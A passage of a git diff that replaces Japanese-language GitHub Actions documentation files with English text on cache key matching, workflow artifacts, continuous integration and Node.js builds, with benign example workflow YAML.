hashFiles('package-lock.json') }} ``` {% endraw %} -{% data variables.product.prodname_dotcom %}は`hash "package-lock.json"`という式を評価して、最終的な`key`を導出します。 +{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`. ```yaml npm-d5ea0750 ``` -## キャッシュキーのマッチング +## Matching a cache key -`cache` アクションは最初に、ワークフロー実行を含むブランチで `key` および `restore-keys` のキャッシュヒットを検索します。 現在のブランチにヒットがない場合、`cache` アクションは、親ブランチと上流のブランチで `key` および `restore-keys` を検索します。 +The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches. -`key`でキャッシュミスがあった場合に使うリストアキーのリストを提供できます。 特定の度合いが強いものから弱いものへ並べて複数のリストアキーを作成できます。 `cache`アクションは順番に`restore-keys`を検索していきます。 キーが直接マッチしなかった場合、アクションはリストアキーでプレフィックスされたキーを検索します。 リストアキーに対して複数の部分一致があった場合、アクションは最も最近に作成されたキャッシュを返します。 +You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache. -### 複数のリストアキーの利用例 +### Example using multiple restore keys {% raw %} ```yaml @@ -171,7 +194,7 @@ restore-keys: | ``` {% endraw %} -ランナーは式を評価します。この式は以下のような`restore-keys`になります。 +The runner evaluates the expressions, which resolve to these `restore-keys`: {% raw %} ```yaml @@ -182,13 +205,13 @@ restore-keys: | ``` {% endraw %} -リストアキーの`npm-foobar-`は、`npm-foobar-`という文字列で始まる任意のキーにマッチします。 たとえば`npm-foobar-fd3052de`や`npm-foobar-a9b253ff`というキーはいずれもこのリストアキーにマッチします。 最も最近の期日に作成されたキャッシュが使われます。 この例でのキーは、以下の順序で検索されます。 +The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order: -1. **`npm-foobar-d5ea0750`**は特定のハッシュにマッチします。 -1. **`npm-foobar-`**は`npm-foobar-`をプレフィックスとするキャッシュキーにマッチします。 -1. **`npm-`**は`npm-`をプレフィックスとする任意のキーにマッチします。 +1. **`npm-foobar-d5ea0750`** matches a specific hash. +1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`. +1. **`npm-`** matches any keys prefixed with `npm-`. -#### 検索の優先度の例 +#### Example of search priority ```yaml key: @@ -198,15 +221,15 @@ restore-keys: | npm- ``` -たとえば、プルリクエストに `feature` ブランチ（現在のスコープ）が含まれ、デフォルトブランチ（`main`）をターゲットにしている場合、アクションは次の順序で `key` と `restore-keys` を検索します。 +For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order: -1. `feature`ブランチのスコープ内で`npm-feature-d5ea0750`というキー -1. `feature`ブランチのスコープ内で`npm-feature-`というキー -2. `feature`ブランチのスコープ内で`npm-`というキー -1. `main` ブランチのスコープ内で `npm-feature-d5ea0750` というキー -3. `main` ブランチのスコープ内で `npm-feature-` というキー -4. `main` ブランチのスコープ内で `npm-` というキー +1. Key `npm-feature-d5ea0750` in the `feature` branch scope +1. Key `npm-feature-` in the `feature` branch scope +2. Key `npm-` in the `feature` branch scope +1. Key `npm-feature-d5ea0750` in the `main` branch scope +3. Key `npm-feature-` in the `main` branch scope +4. Key `npm-` in the `main` branch scope -## 利用制限と退去のポリシー +## Usage limits and eviction policy -{% data variables.product.prodname_dotcom %}は、7日間以上アクセスされていないキャッシュエントリを削除します。 保存できるキャッシュ数には上限がありませんが、1つのリポジトリ内のすべてのキャッシュの合計サイズは5GBに制限されます。 If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 5 GB. +{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB. diff --git a/translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md b/translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md index 2130c8320e..a1e1b56851 100644 --- a/translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md +++ b/translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md @@ -1,7 +1,7 @@ --- -title: ワークフロー データを成果物として保存する -shortTitle: ワークフローの成果物を保存する -intro: 成果物を使うと、ワークフロー内のジョブ間でデータを共有し、ワークフローが完了したときに、そのワークフローのデータを保存できます。 +title: Storing workflow data as artifacts +shortTitle: Storing workflow artifacts +intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. redirect_from: - /articles/persisting-workflow-data-using-artifacts - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts @@ -22,51 +22,51 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## ワークフローの成果物について +## About workflow artifacts -成果物を使えば、ジョブの完了後にデータを永続化でき、そのデータを同じワークフロー中の他のジョブと共有できます。 成果物とは、ワークフロー実行中に生成されるファイル、またはファイルのコレクションです。 たとえば、ワークフローの実行が終了した後、成果物を使ってビルドとテストの出力を保存しておけます。 {% data reusables.actions.reusable-workflow-artifacts %} +Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} -{% data reusables.github-actions.artifact-log-retention-statement %} プルリクエストの保持期間は、ユーザが新しいコミットをプルリクエストにプッシュするたびに再開されます。 +{% data reusables.github-actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. -以下は、アップロードできる一般的な成果物の一部です。 +These are some of the common artifacts that you can upload: -- ログファイルとコアダンプ -- テスト結果、エラー、スクリーンショット -- バイナリあるいは圧縮されたファイル -- ストレステストのパフォーマンス出力およびコードカバレッジの結果 +- Log files and core dumps +- Test results, failures, and screenshots +- Binary or compressed files +- Stress test performance output and code coverage results {% ifversion fpt or ghec %} -成果物の保存には、{% data variables.product.product_name %}上のストレージ領域が使われます。 {% data reusables.github-actions.actions-billing %} 詳細は「[{% data variables.product.prodname_actions %} の支払いの管理](/billing/managing-billing-for-github-actions)」を参照してください。 +Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.github-actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)." {% else %} -アーティファクトは、{% data variables.product.product_location %} 上の {% data variables.product.prodname_actions %} 向けに設定された外部 blob ストレージ上のストレージスペースを消費します。 +Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.product.product_location %}. {% endif %} -成果物はワークフローの実行中にアップロードされ、成果物の名前とサイズはUIで見ることができます。 {% data variables.product.product_name %}のUIを使って成果物がダウンロードされる場合、成果物の一部として個別にアップロードされたすべてのファイルはzipして1つのファイルにまとめられます。 これはすなわち、支払いはこのzipファイルのサイズではなく、アップロードされた成果物のサイズを元に計算されるということです。 +Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. -{% data variables.product.product_name %}には、ビルドの成果物のアップロードとダウンロードに使用できるアクションが2つあります。 詳しい情報については、 {% data variables.product.product_location %} 上の {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) および [download-artifact](https://github.com/actions/download-artifact) アクション{% else %} `actions/upload-artifact` および `download-artifact` アクション{% endif %}を参照してください。 +{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. -ジョブ間でデータを共有するには: +To share data between jobs: -* **ファイルをアップロード**: アップロードされたファイルに名前を付けて、ジョブが終了する前にデータをアップロードしてください。 -* **ファイルをダウンロード**: 成果物は、同じワークフローの実行中にアップロードされたものだけがダウンロードできます。 ファイルをダウンロードする際には、名前で参照できます。 +* **Uploading files**: Give the uploaded file a name and upload the data before the job ends. +* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. -ジョブのステップは、ランナーマシン上で同じ環境を共有しますが、それぞれが個別のプロセス内で実行されます。 ジョブのステップ間のデータを受け渡すには、入力と出力を使用できます。 入力と出力の詳細については、「[{% data variables.product.prodname_actions %}構文のメタデータ](/articles/metadata-syntax-for-github-actions)」を参照してください。 +The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." -## ビルドおよびテストの成果物をアップロードする +## Uploading build and test artifacts -継続的インテグレーション（CI）ワークフローを作成して、コードのビルドやテストを行えます。 {% data variables.product.prodname_actions %} を使用して CI を実行する方法の詳細については、「[継続的インテグレーションについて](/articles/about-continuous-integration)」を参照してください。 +You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)." -コードのビルドおよびテストからの出力によって、多くの場合、エラーのデバッグに使用できるファイルと、デプロイできる本番コードが生成されます。 リポジトリにプッシュされるコードをビルドしてテストし、成功または失敗のステータスをレポートするワークフローを構成することができます。 デプロイメントに使用するビルドおよびテスト出力をアップロードし、失敗したテストまたはクラッシュをデバッグしてテストスイートのカバレッジを確認できます。 +The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. -成果物をアップロードするには、`upload-artifact`アクションが使用できます。 成果物をアップロードする場合は、単一のファイルまたはディレクトリ、あるいは複数のファイルまたはディレクトリを指定できます。 また、特定のファイルやディレクトリを除外したり、ワイルドカードパターンを使用したりすることもできます。 成果物の名前を指定することをおすすめしますが、名前を指定しない場合は、 `artifact` がデフォルトの名前として使用されます。 構文の詳細については、 {% data variables.product.product_location %} 上の {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) アクション{% else %} `actions/upload-artifact` アクション{% endif %}を参照してください。 +You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.product.product_location %}{% endif %}. -### サンプル +### Example -たとえば、リポジトリあるいはWebアプリケーションにはCSSやJavaScriptに変換しなければならないSASSやTypeScriptが含まれているかもしれません。 ビルド構成が`dist`ディレクトリにコンパイル後のファイルを出力すると仮定すると、テストがすべて正常に完了した場合、`dist`ディレクトリにあるファイルがWebアプリケーションサーバーにデプロイされます。 +For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. ``` |-- hello-world (repository) @@ -80,9 +80,9 @@ topics: | ``` -この例では、srcディレクトリにコードを`builds`して、`tests`ディレクトリでテストを実行するNode.jsプロジェクトのワークフローを作成しています。 実行中の`npm test`が、`code-coverage.html`という名前で、`output/test/`ディレクトリに保存されるコードカバレッジレポートを生成すると想定できます。 +This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. -このワークフローは `dist` ディレクトリにプロダクションの成果物をアップロードしますが、Markdownファイルはその対象外です。 It also uploads the `code-coverage.html` report as another artifact. +The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. ```yaml{:copy} name: Node CI @@ -114,9 +114,9 @@ jobs: path: output/test/code-coverage.html ``` -## カスタムの成果物の保持期間を設定する +## Configuring a custom artifact retention period -ワークフローによって作成された個々のアーティファクトのカスタム保存期間を定義できます。 ワークフローを使用して新しいアーティファクトを作成する場合、`upload-artifact` アクションで `retention-days` を使用できます。 この例は、`my-artifact` という名前のアーティファクトに 5 日間のカスタム保存期間を設定する方法を示しています。 +You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: ```yaml{:copy} - name: 'Upload Artifact' @@ -127,25 +127,25 @@ jobs: retention-days: 5 ``` -`retention-days` の値は、リポジトリ、Organization、または Enterprise によって設定された保持制限を超えることはできません。 +The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. -## 成果物のダウンロードあるいは削除 +## Downloading or deleting artifacts During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. -ワークフローの実行が完了したら、{% data variables.product.prodname_dotcom %} または REST API を使用してアーティファクトをダウンロードまたは削除できます。 詳しい情報については、「[ワークフローの成果物をダウンロードする](/actions/managing-workflow-runs/downloading-workflow-artifacts)」、「[ワークフローの成果物を削除する](/actions/managing-workflow-runs/removing-workflow-artifacts)」、および「[Artifacts REST API](/rest/reference/actions#artifacts)」を参照してください。 +After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)." -### ワークフロー実行中の成果物のダウンロード +### Downloading artifacts during a workflow run -[`actions/download-artifact`](https://github.com/actions/download-artifact) のダウンロードアクションを使用して、ワークフローの実行中に以前にアップロードされたアーティファクトをダウンロードできます。 +The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. {% note %} -**ノート:** ダウンロードできるのは、同じワークフロー実行中にアップロードされたワークフロー内の成果物のみです。 +**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run. {% endnote %} -個々の成果物をダウンロードするには、成果物の名前を指定します。 名前を指定せずに成果物をアップロードした場合、デフォルトで名前は`artifact`になります。 +Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. ```yaml - name: Download a single artifact @@ -154,7 +154,7 @@ During a workflow run, you can use the [`download-artifact`](https://github.com/ name: my-artifact ``` -また、名前を指定しないことで、ワークフロー実行のすべての成果物をダウンロードすることもできます。 これは、多数の成果物を扱っている場合に便利です。 +You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. ```yaml - name: Download all workflow run artifacts @@ -163,28 +163,28 @@ During a workflow run, you can use the [`download-artifact`](https://github.com/ If you download all workflow run's artifacts, a directory for each artifact is created using its name. -構文の詳細については、{% data variables.product.product_location %} 上の {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/download-artifact) アクション{% else %} `actions/upload-artifact` アクション{% endif %}を参照してください。 +For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.product.product_location %}{% endif %}. -## ワークフローのジョブ間でデータを受け渡す +## Passing data between jobs in a workflow -`upload-artifact`アクションと`download-artifact`アクションを使うと、ワークフローのジョブ間でデータを共有できます。 以下のワークフローの例では、同じワークフローのジョブ間でデータを受け渡す方法を説明しています。 詳しい情報については、 {% data variables.product.product_location %} 上の {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) および [download-artifact](https://github.com/actions/download-artifact) アクション{% else %} `actions/upload-artifact` および `download-artifact` アクション{% endif %}を参照してください。 +You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. -前のジョブの成果物に依存するジョブは、前のジョブが正常に完了するまで待つ必要があります。 このワークフローは、`needs`キーワードを使用して`job_1`、`job_2`、`job_3`を順次実行することができます。 たとえば、`job_2`は`needs: job_1`構文を使って`job_1`を必要とすることができます。 +Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. -ジョブ1は、以下のステップを実行します。 -- 数式の計算を実行し、その結果を`math-homework.txt`というテキストファイルに保存します。 -- `upload-artifact` アクションを使って、`math-homework.txt` ファイルを `homework` という成果物名でアップロードします。 +Job 1 performs these steps: +- Performs a math calculation and saves the result to a text file called `math-homework.txt`. +- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`. -ジョブ2は、前のジョブの結果を利用して、次の処理を実行します。 -- 前のジョブでアップロードされた`homework`成果物をダウンロードします。 デフォルトでは、`download-artifact`アクションは、ステップが実行されているワークスペースディレクトリに成果物をダウンロードします。 入力パラメータの`path`を使って、別のダウンロードディレクトリを指定することもできます。 -- `math-homework.txt` ファイル中の値を読み取り、数式の計算を実行して、結果を `math-homework.txt` に再度保存し、その内容を上書きします。 -- `math-homework.txt`ファイルをアップロードします。 このアップロードでは、同じ名前を共有しているため、以前にアップロードされた成果物を上書きします。 +Job 2 uses the result in the previous job: +- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. +- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. +- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name. -ジョブ3は、前のジョブでアップロードされた結果を表示して、次の処理を実行します。 -- `homework`成果物をダウンロードします。 -- 数式の結果をログに出力します。 +Job 3 displays the result uploaded in the previous job: +- Downloads the `homework` artifact. +- Prints the result of the math equation to the log. -このワークフロー例で実行される完全な数式は、`(3 + 7) x 9 = 90`です。 +The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. ```yaml{:copy} name: Share data between jobs @@ -240,17 +240,17 @@ jobs: echo The result is $value ``` -ワークフローの実行により、生成された成果物がアーカイブされます。 アーカイブされた成果物のダウンロードの詳細については、「[ワークフローの成果物をダウンロードする](/actions/managing-workflow-runs/downloading-workflow-artifacts)」を参照してください。 +The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -![ジョブ間でデータを受け渡して計算を実行するワークフロー](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) {% else %} -![ジョブ間でデータを受け渡して計算を実行するワークフロー](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) {% endif %} {% ifversion fpt or ghec %} -## 参考リンク +## Further reading -- [{% data variables.product.prodname_actions %}の支払いの管理](/billing/managing-billing-for-github-actions) +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)". {% endif %} diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md index defa8a8854..281380a4fe 100644 --- a/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md +++ b/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -1,5 +1,5 @@ --- -title: 継続的インテグレーションについて +title: About continuous integration intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' redirect_from: - /articles/about-continuous-integration @@ -15,47 +15,47 @@ versions: type: overview topics: - CI -shortTitle: 継続的インテグレーション +shortTitle: Continuous integration --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 継続的インテグレーションについて +## About continuous integration -継続的インテグレーション (CI) とは、ソフトウェアの開発においてコードを頻繁に共有リポジトリにコミットする手法のことです。 コードをコミットする頻度が高いほどエラーの検出が早くなり、開発者がエラーの原因を見つけるためにデバッグしなければならないコードの量も減ります。 コードの更新が頻繁であれば、ソフトウェア開発チームの他のメンバーによる変更をマージするのも、それだけ容易になります。 コードの記述により多くの時間をかけられるようになり、エラーのデバッグやマージコンフリクトの解決にかける時間が減るので、これは開発者にとって素晴らしいやり方です。 +Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. -コードをリポジトリにコミットするとき、コミットによってエラーが発生しないように、コードのビルドとテストを継続的に行うことができます。 テストには、コードの文法チェッカー (スタイルフォーマットをチェックする)、セキュリティチェック、コードカバレッジ、機能テスト、その他のカスタムチェックを含めることができます。 +When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. -コードをビルドしてテストするには、サーバーが必要です。 ローカルでアップデートのビルドとテストを行ってからコードをリポジトリにプッシュする方法もありますし、リポジトリ での新しいコードのコミットをチェックするCIサーバーを使用する方法もあります。 +Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. -## {% data variables.product.prodname_actions %} を使用する継続的インテグレーションについて +## About continuous integration using {% data variables.product.prodname_actions %} -{% ifversion ghae %}{% data variables.product.prodname_actions %} を使用する CI は、リポジトリにコードをビルドしてテストを実行できるワークフローが利用できます。 ワークフローは、{% data variables.product.prodname_dotcom %} によってホストされている仮想マシンで実行できます。 詳しい情報については「[{% data variables.actions.hosted_runner %}について](/actions/using-github-hosted-runners/about-ae-hosted-runners)」を参照してください。 -{% else %}{% data variables.product.prodname_actions %} を利用した CI では、リポジトリ中のコードをビルドしてテストを実行できるワークフローが利用できます。 ワークフローは、{% data variables.product.prodname_dotcom %} でホストされている仮想マシン、または自分がホストしているマシンで実行できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仮想環境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」および「[セルフホストランナーについて](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)」を参照してください。 +{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on virtual machines hosted by {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." {% endif %} -CIワークフローは、{% data variables.product.prodname_dotcom %}イベントが発生する (たとえば、新しいコードがリポジトリにプッシュされ) とき、または設定したスケジュールに応じて、あるいはリポジトリディスパッチwebhookを使用して外部イベントが発生するときに実行されるように設定することができます。 +You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. -{% data variables.product.product_name %} は CI テストを実行して、プルリクエストで各テストの結果を提供するため、ブランチの変更によってエラーが発生したかどうかを確認できます。 ワークフローのテストがすべて成功すると、プッシュした変更をチームメンバーがレビューできるように、またはマージできるようになります。 テストが失敗した場合は、いずれかの変更がその原因になっている可能性があります。 +{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. -リポジトリに CI を設定する際には、{% data variables.product.product_name %} がリポジトリ内のコードを分析し、リポジトリ内の言語とフレームワークに基づいて CI ワークフローを推奨します。 たとえば、[Node.js](https://nodejs.org/en/) を使用する場合、{% data variables.product.product_name %} は、Node.js パッケージをインストールしてテストを実行するテンプレートファイルを提案します。 {% data variables.product.product_name %} によって提案された CI ワークフローテンプレートを使用しても、提案されたテンプレートをカスタマイズしてもかまいませんし、独自のカスタムワークフローファイルを作成して CI テストを実行することもできます。 +When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a template file that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.product_name %}, customize the suggested template, or create your own custom workflow file to run your CI tests. -![提案された継続的インテグレーションテンプレートのスクリーンショット](/assets/images/help/repository/ci-with-actions-template-picker.png) +![Screenshot of suggested continuous integration templates](/assets/images/help/repository/ci-with-actions-template-picker.png) -プロジェクトの CI ワークフローの設定だけでなく、{% data variables.product.prodname_actions %} を使用してソフトウェア開発のライフサイクル全体に渡るワークフローを作成することもできます。 たとえば、Actionを使用してプロジェクトをデプロイ、パッケージ、またはリリースすることが可能です。 詳しい情報については、「[{% data variables.product.prodname_actions %} について](/articles/about-github-actions)」を参照してください。 +In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)." -一般的な用語の定義については「[{% data variables.product.prodname_actions %} の中核的概念](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)」を参照してください。 +For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." ## Workflow templates -{% data variables.product.product_name %} では、各種言語およびフレームワークに応じて CI ワークフローテンプレートが提供されます。 +{% data variables.product.product_name %} offers CI workflow templates for a variety of languages and frameworks. -{% data variables.product.product_location %} 上の {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) リポジトリ{% else %} `actions/starter-workflows` リポジトリで {% data variables.product.company_short %} が提供する CI ワークフローテンプレートの完全なリストを参照します。{% endif %} +Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}. -## 参考リンク +## Further reading {% ifversion fpt or ghec %} -- 「[{% data variables.product.prodname_actions %} の支払いを管理する](/billing/managing-billing-for-github-actions)」 +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md index 34074dc7b6..0715e07423 100644 --- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md +++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md @@ -1,6 +1,6 @@ --- -title: Node.js のビルドとテスト -intro: Node.jsプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。 +title: Building and testing Node.js +intro: You can create a continuous integration (CI) workflow to build and test your Node.js project. redirect_from: - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions - /actions/language-and-framework-guides/using-nodejs-with-github-actions @@ -24,24 +24,24 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## はじめに +## Introduction -このガイドでは、Node.jsのコードのビルドとテストを行う継続的インテグレーション（CI）ワークフローの作成方法を紹介します。 CIテストにパスしたなら、コードをデプロイしたりパッケージを公開したりすることになるでしょう。 +This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package. -## 必要な環境 +## Prerequisites -Node.js、YAML、ワークフローの設定オプションと、ワークフローファイルの作成方法についての基本的な知識を持っておくことをおすすめします。 詳しい情報については、以下を参照してください。 +We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see: -- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」 -- 「[Node.js を使ってみる](https://nodejs.org/en/docs/guides/getting-started-guide/)」 +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" +- "[Getting started with 